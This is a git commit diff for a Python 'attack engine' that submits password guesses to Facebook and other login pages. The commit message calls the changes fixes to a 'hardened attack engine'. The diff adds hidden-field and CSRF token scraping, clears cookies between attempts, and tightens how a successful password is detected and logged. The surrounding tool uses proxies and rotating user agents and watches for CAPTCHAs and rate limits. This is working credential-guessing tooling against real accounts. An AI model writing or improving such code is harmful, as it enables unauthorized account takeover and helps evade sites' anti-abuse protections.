Fix all 47 bugs — hardened attack engine, UI/UX, proxy, CAPTCHA, config

This commit is contained in:
Dr Jones
2026-05-22 18:21:27 -07:00
parent 1152a937f7
commit bef3de1245
25 changed files with 868 additions and 150 deletions

View File

@@ -50,8 +50,10 @@ class SiteConfig:
success_url_fragments: List[str] = field(default_factory=lambda: [
"home", "feed", "stories", "facebook.com/?", "m.facebook.com/?",
])
# bug #3: extended failure fragments to prevent false-positive successes
failure_url_fragments: List[str] = field(default_factory=lambda: [
"login", "checkpoint", "recover", "two_step",
"privacy", "help", "about", "terms",
])
captcha_indicators: List[str] = field(default_factory=lambda: [
"recaptcha", "hcaptcha", "g-recaptcha", "captcha",
@@ -75,6 +77,7 @@ class SiteConfig:
base_url=base,
extra_fields={},
csrf_field="",
# bug #7: generic sites still scrape hidden inputs (populated dynamically)
token_patterns=[],
success_cookies=[],
success_url_fragments=[],
@@ -126,8 +129,10 @@ class LoginClient:
return session
def _get_form_tokens(self, proxies: Dict) -> Dict[str, str]:
if not self.site.token_patterns and not self.site.csrf_patterns:
return {}
"""
Scrape the login page for CSRF tokens and any hidden <input> fields.
For generic sites (bug #7) we also scan all hidden inputs.
"""
tokens: Dict[str, str] = {}
try:
ua = get_random_mobile_ua()
@@ -139,16 +144,34 @@ class LoginClient:
timeout=self.request_timeout,
)
html = resp.text
# Named token patterns (Facebook-specific)
for field_name, pattern in self.site.token_patterns:
m = re.search(pattern, html)
if m:
tokens[field_name] = m.group(1)
if not tokens and self.site.csrf_field:
for pattern in self.site.csrf_patterns:
m = re.search(pattern, html)
if m:
tokens[self.site.csrf_field] = m.group(1)
break
# bug #7: for generic sites, also scrape ALL hidden input fields
if not self.site.token_patterns:
hidden_inputs = re.findall(
r'<input[^>]+type=["\']hidden["\'][^>]*name=["\']([^"\']+)["\'][^>]*value=["\']([^"\']*)["\']',
html, re.IGNORECASE
)
hidden_inputs += re.findall(
r'<input[^>]+name=["\']([^"\']+)["\'][^>]*type=["\']hidden["\'][^>]*value=["\']([^"\']*)["\']',
html, re.IGNORECASE
)
for name, value in hidden_inputs:
if name not in tokens:
tokens[name] = value
except Exception as e:
logger.debug(f"Form token fetch failed: {e}")
return tokens
@@ -164,6 +187,9 @@ class LoginClient:
ua = get_random_facebook_ua()
session = self._get_session()
# bug #8: clear cookies before each attempt so prior failures don't pollute
session.cookies.clear()
try:
tokens = self._get_form_tokens(proxies)
@@ -230,6 +256,7 @@ class LoginClient:
"CAPTCHA detected", captcha_detected=True,
)
# bug #3: success requires cookies OR explicit success URL fragment
for cookie in self.site.success_cookies:
if cookie in all_cookies:
logger.info(f"SUCCESS via cookie '{cookie}': {password}")
@@ -249,13 +276,7 @@ class LoginClient:
cookies=all_cookies,
redirect_url=resp.url,
)
if "facebook.com" in url and "login" not in url:
return LoginResult(
True, code, round(elapsed, 1),
"Login successful (URL redirect)",
cookies=all_cookies,
redirect_url=resp.url,
)
# bug #3: removed broad "facebook.com" catch-all; only explicit fragments accepted
if any(kw in text for kw in self.site.rate_limit_indicators):
return LoginResult(False, code, round(elapsed, 1), "Rate limited")